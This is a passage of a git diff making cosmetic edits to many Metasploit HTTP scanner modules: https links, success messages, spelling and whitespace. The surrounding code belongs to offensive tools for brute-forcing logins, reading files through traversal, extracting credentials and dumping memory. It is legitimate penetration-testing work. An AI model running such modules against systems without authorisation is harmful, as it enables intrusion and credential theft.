   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
@@ -13,7 +14,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'                  => 'JBoss Vulnerability Scanner',
       'Description'           => %q(
-        This module scans a JBoss instance for a few vulnerablities.
+        This module scans a JBoss instance for a few vulnerabilities.
       ),
       'Author'                =>
         [
@@ -185,7 +186,7 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def bypass_auth(app)
-    print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
+    print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")
 
     res = send_request_raw({
       'uri'       => app,
diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb
index 4280549ba9..33c7f26720 100644
--- a/modules/auxiliary/scanner/http/jenkins_command.rb
+++ b/modules/auxiliary/scanner/http/jenkins_command.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'rex/proto/http'
 require 'cgi'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -26,6 +25,8 @@ class MetasploitModule < Msf::Auxiliary
         ],
       'References'  =>
         [
+          ['CVE', '2015-8103'], # see link and validate, https://highon.coffee/blog/jenkins-api-unauthenticated-rce-exploit/ states this is another issue
+          ['URL', 'https://jenkins.io/security/advisory/2015-11-11/'],
           ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
           ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'],
         ],
diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb
index fb3aa20483..953c0ca9c6 100644
--- a/modules/auxiliary/scanner/http/jenkins_enum.rb
+++ b/modules/auxiliary/scanner/http/jenkins_enum.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -11,7 +11,6 @@ require 'rex/proto/http'
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -21,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
       'Name'        => 'Jenkins-CI Enumeration',
       'Description' => %q{
         This module enumerates a remote Jenkins-CI installation in an unauthenticated manner, including
-        host operating system and and Jenkins installation details.
+        host operating system and Jenkins installation details.
       },
       'Author'      => 'Jeff McCutchan',
       'License'     => MSF_LICENSE
@@ -52,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     version = res.headers['X-Jenkins']
-    print_status("Jenkins Version - #{version}")
+    print_good("Jenkins Version - #{version}")
     report_service(
       :host  => rhost,
       :port  => rport,
diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb
index 4894b5592d..e792a4e975 100644
--- a/modules/auxiliary/scanner/http/jenkins_login.rb
+++ b/modules/auxiliary/scanner/http/jenkins_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
diff --git a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb
index bbd87a5326..f950a52b66 100644
--- a/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb
+++ b/modules/auxiliary/scanner/http/joomla_bruteforce_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -289,5 +289,4 @@ class MetasploitModule < Msf::Auxiliary
 
     valor_input_id
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb
index 6e8783c49b..473b015110 100644
--- a/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb
+++ b/modules/auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -84,5 +84,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb
index c618e7528b..069ea257af 100644
--- a/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb
+++ b/modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'uri'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -101,5 +101,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb
index ce58afcd8e..41ada12c2e 100644
--- a/modules/auxiliary/scanner/http/joomla_pages.rb
+++ b/modules/auxiliary/scanner/http/joomla_pages.rb
@@ -1,9 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_error("Timeout error")
       return
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb
index 5d05256f1e..a74b92dd5d 100644
--- a/modules/auxiliary/scanner/http/joomla_plugins.rb
+++ b/modules/auxiliary/scanner/http/joomla_plugins.rb
@@ -1,9 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -163,5 +163,4 @@ class MetasploitModule < Msf::Auxiliary
       vprint_error("Timeout error")
       return
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb
index 9edc2f9a31..98b001e136 100644
--- a/modules/auxiliary/scanner/http/joomla_version.rb
+++ b/modules/auxiliary/scanner/http/joomla_version.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HTTP::Joomla
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -54,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     if version
-      print_status("Joomla version: #{version}")
+      print_good("Joomla version: #{version}")
       report_note(
         host: ip,
         port: datastore['RPORT'],
@@ -66,5 +65,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Unable to find Joomla version.")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb
index 7aceede7cd..11c122403f 100644
--- a/modules/auxiliary/scanner/http/kodi_traversal.rb
+++ b/modules/auxiliary/scanner/http/kodi_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -78,5 +77,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error('Fail to obtain file for some unknown reason')
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb
index 8a81fb149c..8450b765d6 100644
--- a/modules/auxiliary/scanner/http/linknat_vos_traversal.rb
+++ b/modules/auxiliary/scanner/http/linknat_vos_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb
index bad905abba..dda87013b8 100644
--- a/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb
+++ b/modules/auxiliary/scanner/http/linksys_e1500_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb
index 7ae13ba1f9..3b1b5c55a3 100644
--- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb
+++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -72,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
 
           print_good("#{target_url} - LiteSpeed - Getting the source of page #{uri}")
           p = store_loot("litespeed.source", "text/plain", rhost, res.body, path_save)
-          print_status("#{target_url} - LiteSpeed - File successfully saved: #{p}")
+          print_good("#{target_url} - LiteSpeed - File successfully saved: #{p}")
 
         else
           print_error("http://#{vhost}:#{rport} - LiteSpeed - Unrecognized #{res.code} response")
@@ -94,5 +93,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/lucky_punch.rb b/modules/auxiliary/scanner/http/lucky_punch.rb
index fc87231ff7..a7d15f28e0 100644
--- a/modules/auxiliary/scanner/http/lucky_punch.rb
+++ b/modules/auxiliary/scanner/http/lucky_punch.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::WmapModule
@@ -18,8 +16,8 @@ class MetasploitModule < Msf::Auxiliary
       'Name'           => 'HTTP Microsoft SQL Injection Table XSS Infection',
       'Description'    => %q{
         This module implements the mass SQL injection attack in
-        use lately by concatenation of HTML string that forces a persistant
-        XSS attack to redirect user browser to a attacker controller website.
+        use lately by concatenation of HTML string that forces a persistent
+        XSS attack to redirect user browser to an attacker controller website.
       },
       'Author'         => [ 'et' ],
       'License'        => BSD_LICENSE))
@@ -90,5 +88,4 @@ EOF
   print_status("Request sent.")
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb
index ba7fcc97e2..10c8b7eba0 100644
--- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb
+++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -99,5 +98,4 @@ class MetasploitModule < Msf::Auxiliary
   rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
   rescue ::Timeout::Error, ::Errno::EPIPE
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb
index f15bdffabc..9804b52264 100644
--- a/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb
+++ b/modules/auxiliary/scanner/http/manageengine_desktop_central_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/manageengine_desktop_central'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::AuthBrute
   include Msf::Auxiliary::Report
@@ -130,5 +129,4 @@ class MetasploitModule < Msf::Auxiliary
 
     bruteforce(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb
index 1c65e95f58..fe451bd44a 100644
--- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb
+++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{ip}:#{rport} - File saved in: #{path}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb
index f0a8c3c8ad..d840d6d6e6 100644
--- a/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb
+++ b/modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -120,7 +120,7 @@ class MetasploitModule < Msf::Auxiliary
       cred_table << [user, pass, hash, role, mail, salt]
 
       if pass
-        print_status("Found weak credentials (#{user}:#{pass})")
+        print_good("Found weak credentials (#{user}:#{pass})")
         credential_data = {
           origin_type: :service,
           module_fullname: self.fullname,
diff --git a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb
index 78a01caa86..50b9a9127e 100644
--- a/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb
+++ b/modules/auxiliary/scanner/http/manageengine_securitymanager_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -84,5 +83,4 @@ class MetasploitModule < Msf::Auxiliary
       print_error("Fail to obtain file for some unknown reason")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
index f755602979..da950f7aed 100644
--- a/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -267,7 +266,7 @@ class MetasploitModule < Msf::Auxiliary
 
     f = ::File.basename(datastore['RFILE'])
     path = store_loot('mediawiki.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-    print_status("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
+    print_good("#{peer} MediaWiki - #{datastore['RFILE']} saved in #{path}")
   end
 
   def run
@@ -279,5 +278,4 @@ class MetasploitModule < Msf::Auxiliary
   def run_host(ip)
     accessfile(ip)
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb
index aea568c359..f65fc943a9 100644
--- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb
+++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb
index fa50076323..3f47e84f6d 100644
--- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb
+++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -9,7 +9,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb
index e575e328f3..805520a8e8 100644
--- a/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb
+++ b/modules/auxiliary/scanner/http/mod_negotiation_scanner.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
index d0c3fdd7e3..8aaad8f9ef 100644
--- a/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
+++ b/modules/auxiliary/scanner/http/ms09_020_webdav_unicode_bypass.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::WmapScanDir
   include Msf::Auxiliary::Scanner
@@ -90,7 +89,7 @@ class MetasploitModule < Msf::Auxiliary
         }, 20)
 
         if (res.code.to_i == 207)
-          print_status("#{rhost}:#{rport} \tFound vulnerable WebDAV Unicode bypass.  #{wmap_base_url}#{tpath}#{bogus}/ #{res.code} (#{wmap_target_host})")
+          print_good("#{rhost}:#{rport} \tFound vulnerable WebDAV Unicode bypass.  #{wmap_base_url}#{tpath}#{bogus}/ #{res.code} (#{wmap_target_host})")
 
 
           report_vuln(
diff --git a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb
index 19f6b904fa..7e6a601be9 100644
--- a/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb
+++ b/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/http'
-class MetasploitModule < Msf::Auxiliary
 
+class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
@@ -199,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
       if resp
         dump(resp.to_s)
         loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
-        print_status("Memory dump saved to #{loot_path}")
+        print_good("Memory dump saved to #{loot_path}")
       else
         print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
       end
diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb
index faf5f2c65b..52e947cbbe 100644
--- a/modules/auxiliary/scanner/http/mybook_live_login.rb
+++ b/modules/auxiliary/scanner/http/mybook_live_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,10 +75,10 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
-        vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
+        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
       end
     end
   end
diff --git a/modules/auxiliary/scanner/http/netdecision_traversal.rb b/modules/auxiliary/scanner/http/netdecision_traversal.rb
index c38e3305e5..e4180a1c1f 100644
--- a/modules/auxiliary/scanner/http/netdecision_traversal.rb
+++ b/modules/auxiliary/scanner/http/netdecision_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb
index 7768e4ea96..cf2bf72d08 100644
--- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb
+++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb
index 89dfc68f11..567de089c8 100644
--- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb
+++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -81,7 +80,7 @@ class MetasploitModule < Msf::Auxiliary
           save_source.puts(res.body.to_s)
           save_source.close
 
-          print_status("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
+          print_good("#{full_uri} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exist?("#{path_save}#{uri}"))
 
         else
           print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
@@ -103,5 +102,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
index b5cd056275..474736aced 100644
--- a/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -64,11 +63,10 @@ class MetasploitModule < Msf::Auxiliary
       loot = $1
       f = ::File.basename(datastore['RFILE'])
       path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-      print_status("#{datastore['RFILE']} saved in #{path}")
+      print_good("#{datastore['RFILE']} saved in #{path}")
     else
       print_error("Failed to retrieve the file contents")
     end
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
index a9333b93d6..a5a3c22ebe 100644
--- a/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
+++ b/modules/auxiliary/scanner/http/novell_file_reporter_srs_fileaccess.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -64,11 +63,10 @@ class MetasploitModule < Msf::Auxiliary
       loot = res.body
       f = ::File.basename(datastore['RFILE'])
       path = store_loot('novell.filereporter.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
-      print_status("#{datastore['RFILE']} saved in #{path}")
+      print_good("#{datastore['RFILE']} saved in #{path}")
     else
       print_error("Failed to retrieve the file contents")
     end
   end
-
 end
 
diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb
index 72cb415a31..2601db920d 100644
--- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb
+++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -133,5 +132,4 @@ class MetasploitModule < Msf::Auxiliary
       return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
     end
   end
-
 end
